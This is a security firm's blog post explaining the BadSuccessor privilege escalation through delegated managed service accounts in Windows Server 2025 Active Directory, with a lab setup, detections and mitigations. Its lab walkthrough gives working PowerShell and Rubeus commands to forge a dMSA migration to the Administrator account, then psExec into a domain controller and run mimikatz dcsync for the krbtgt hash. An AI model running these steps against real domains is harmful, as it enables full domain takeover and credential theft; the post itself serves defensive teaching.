BadSuccessor – Escalating Privileges via dMSA in Windows Server 2025

Introduction

This week, we dive into a newly disclosed Active Directory attack dubbed BadSuccessor targets the dMSA feature in Windows Server 2025. While dMSAs were designed to harden service account security, researchers at Akamai have shown they can be abused to gain invisible Domain Admin access, without touching the privileged accounts themselves.

What Is a dMSA?

A Delegated Managed Service Account (dMSA) is a new type of Active Directory (AD) account in Windows Server 2025. It is designed to:

  • Replace traditional service accounts like svc_sql, svc_app, etc. with a more secure alternative.
  • Prevent Kerberoasting attacks (credential harvesting).
  • Bind authentication to specific device identities.
  • Provide automatic password management with randomized keys.
  • Support Credential Guard (CG) for enhanced security.

Video Walkthrough

The below PowerShell script automates the BadSuccessor attack technique, which leverages Delegated Managed Service Accounts (dMSA) to escalate privileges in Active Directory environments.

GitHub : BadSuccessorScript

The Vulnerability: “BadSuccessor”

This vulnerability stems from how Active Directory handles dMSA migrations and the KDC’s blind trust in dMSA metadata.

1. What happens during a valid migration?

When a legitimate migration is performed:

  • The dMSA inherits permissions and group memberships from the legacy account.
  • The KDC generates Kerberos tickets embedding both the old and new accounts’ SIDs in the Privilege Attribute Certificate (PAC), effectively allowing the dMSA to impersonate the original account.

2. What’s the flaw?

Threat actors can simulate a completed migration manually without triggering any protection mechanisms by:

  • Writing the msDS-ManagedAccountPrecededByLink attribute to point to a privileged user.
  • Setting the msDS-DelegatedMSAState attribute to 2 (Completed).
  • You don’t need control over the target account, only over the dMSA.

3. Consequence

  • The KDC accepts the change without validation and grants the dMSA the full privilege set of the linked (superseded) account, including Domain Admin, Enterprise Admin, and Domain Controller level rights, without any alerts.

This diagram shows the Kerberos authentication flow before and after migrating a traditional service account (svc_sql) to a Delegated Managed Service Account (DMSA$). After migration, the DC redirects authentication from the old account to the DMSA, while retaining legacy permissions via PAC SIDs, laying the groundwork for the BadSuccessor attack.

Attack Requirements

The attack is low-effort if the right (but common) conditions exist:

  • Write access(CreateChild) to an Organizational Unit (OU) that allows creation of objects.
  • Permission to modify attributes of objects you create (which happens by default due to CreatorOwner).
  • No elevated privileges needed on the target account.

Why It’s Dangerous

  • The vulnerability works even if dMSAs are not actively used. Merely having a Windows Server 2025 domain controller in the environment exposes the domain.

Attack Flow

  1. Find a writable OU where a low-privileged user can create objects.
  2. Create a dMSA under your control.
  3. Set key attributes:
    • msDS-ManagedAccountPrecededByLink → DN of a Domain Admin, DC, or any privileged account
    • msDS-DelegatedMSAState → 2 (completed)
  4. Request Kerberos tickets → using Rubeus:
    • Get a TGT for the machine account
    • Observe PAC, it includes inherited privileges
    • Request TGS and impersonate a high-privilege user
  5. Gain access silently → with no alerts or EDR flags.

Lab Setup

To safely explore the BadSuccessor vulnerability, let’s set up a controlled Active Directory lab environment. This ensures no risk to production systems and provides a reliable sandbox for testing.

Minimum Lab Components :

  • 1 Windows Server 2025 as a Domain Controller
    • Promote it to a new forest/domain (e.g., example.com)
    • Ensure it supports dMSA features (requires Windows Server 2025 build)
  • 1 Windows 11

Install AD DS on the Windows Server 2025 :

Create the Organizational Unit

Assign CreateChild permission to low-priviledged user (namor) :

Set the root key on DC:

Add-kdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

Set Domain Policy to enable dMSA:

Set-GPRegistryValue -Name "Default Domain Policy" -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" -ValueName "DelegatedMSAEnabled" -Type DWord -Value 1

Now on Windows Workstation, Download RSAT Tools :

Enable dMSA Logons :

Required Tools

  • AD RSAT (Remote Server Administration Tools)
  • Latest Rubeus (Compile it locally) : Rubeus
  • psExec (optional, for remote command execution)

Once the environment is configured, we can proceed with the attack flow safely in the lab. The steps below walk you through everything from creating machine and dMSA accounts to simulating the privilege escalation.

Lab Walkthrough

1. Create a Computer Account

New-ADComputer -Name BadMachine1234 `
    -SamAccountName "BadMachine1234$" `
    -AccountPassword (ConvertTo-SecureString -String "Passw0rd@123456" -AsPlainText -Force) `
    -Enabled $true `
    -Path "OU=BadOU,DC=talokan,DC=local" `
    -PassThru `
    -Server "talokan.local"

2. Derive AES256 Hash using Rubeus

Rubeus.exe hash /password:Passw0rd@123456 /user:BadMachine1234$ /domain:talokan.local

3. Create the dMSA Account

New-ADServiceAccount -Name BadDMSA1234 `
    -DNSHostName BadDMSA1234.talokan.local `
    -CreateDelegatedServiceAccount `
    -KerberosEncryptionType AES256 `
    -PrincipalsAllowedToRetrieveManagedPassword "BadMachine1234$" `
    -Path "OU=BadOU,DC=talokan,DC=local" `
	  -Verbose

4. Grant GenericAll to Low Privileged User over the dMSA

$sid = (Get-ADUser -Identity "namor").SID
$acl = Get-Acl "AD:\CN=BadDMSA1234,OU=BadOU,DC=talokan,DC=local"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $sid, "GenericAll", "Allow"
$acl.AddAccessRule($rule)
Set-Acl -Path "AD:\CN=BadDMSA1234,OU=BadOU,DC=talokan,DC=local" -AclObject $acl -Verbose

5. Set Delegation Attributes

Set-ADServiceAccount -Identity BadDMSA1234 -Replace @{
    'msDS-ManagedAccountPrecededByLink' = 
	'CN=Administrator,CN=Users,DC=talokan,DC=local'
    'msDS-DelegatedMSAState' = 2
} -Verbose

6. Verify dMSA Attributes

Get-ADServiceAccount -Identity BadDMSA1234 -Properties msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState | Select-Object Name, msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState

7. Test Access (Pre-Impersonation)

dir \\DC6.talokan.local\c$

8. Request TGT with Machine Account

Rubeus.exe asktgt /user:BadMachine1234$ /aes256:35A8AFC28FC81EECC2A2CEF24D5C198BAA0FCC0754C011BBDB9069A16A686097 /domain:talokan.local /nowrap

9. Request TGS Using dMSA

Rubeus.exe asktgs /targetuser:BadDMSA1234$ /service:krbtgt/talokan.local /dmsa /opsec /ptt /nowrap  /ticket:<ticket-from-last-step/machine-account-ticket>

10. Test Access (Post-Impersonation)

dir \\DC6.talokan.local\c$
psExec64.exe \\DC6.talokan.local cmd
mimikatz > privilege::debug
mimikatz > lsadump::dcsync /domain:talokan.local /user:krbtgt

Conclusion

In this post, we explored the mechanics and impact of the BadSuccessor attack. This vulnerability highlights the risks associated with account migration mechanisms in Windows Server 2025.

BadSuccessor reinforces the need for tight control over delegated accounts and careful auditing of service principal migrations. As attackers continue to adapt, defenders must stay proactive; understanding these emerging attack paths is a critical step in hardening enterprise identity infrastructure.

This attack underscores the importance of enforcing least privilege across your Active Directory environment. Users and Service accounts – especially those tied to sensitive infrastructure- should be regularly audited, have minimal permissions, and never be retained beyond their operational necessity.

The BadSuccessor attack showcases just how quickly new features can become new attack surfaces.
At RBT Security, we don’t wait for patches; we simulate these attacks in real environments to expose blind spots before real adversaries do.

Want to test your defenses against similar attacks? Visit our contact us page for a security assessment!

Detections & Mitigations

Until Microsoft releases an official patch, organizations must take these proactive steps:

  • Restrict access: Only allow dMSA creation in tightly controlled OUs.
  • Audit OU permissions: Look for Create msDS-DelegatedManagedServiceAccount rights in non-admin users.
  • Monitor attribute changes: Alert on writes to msDS-ManagedAccountPrecededByLink or msDS-DelegatedMSAState

Attribution

This vulnerability, named BadSuccessor, was discovered and responsibly disclosed by Yuval Gordon and the Akamai Security Research Team. Their full write-up offers technical depth and additional abuse scenarios:

Share the Post:

Table of Contents

Subscribe To Our Blog

Light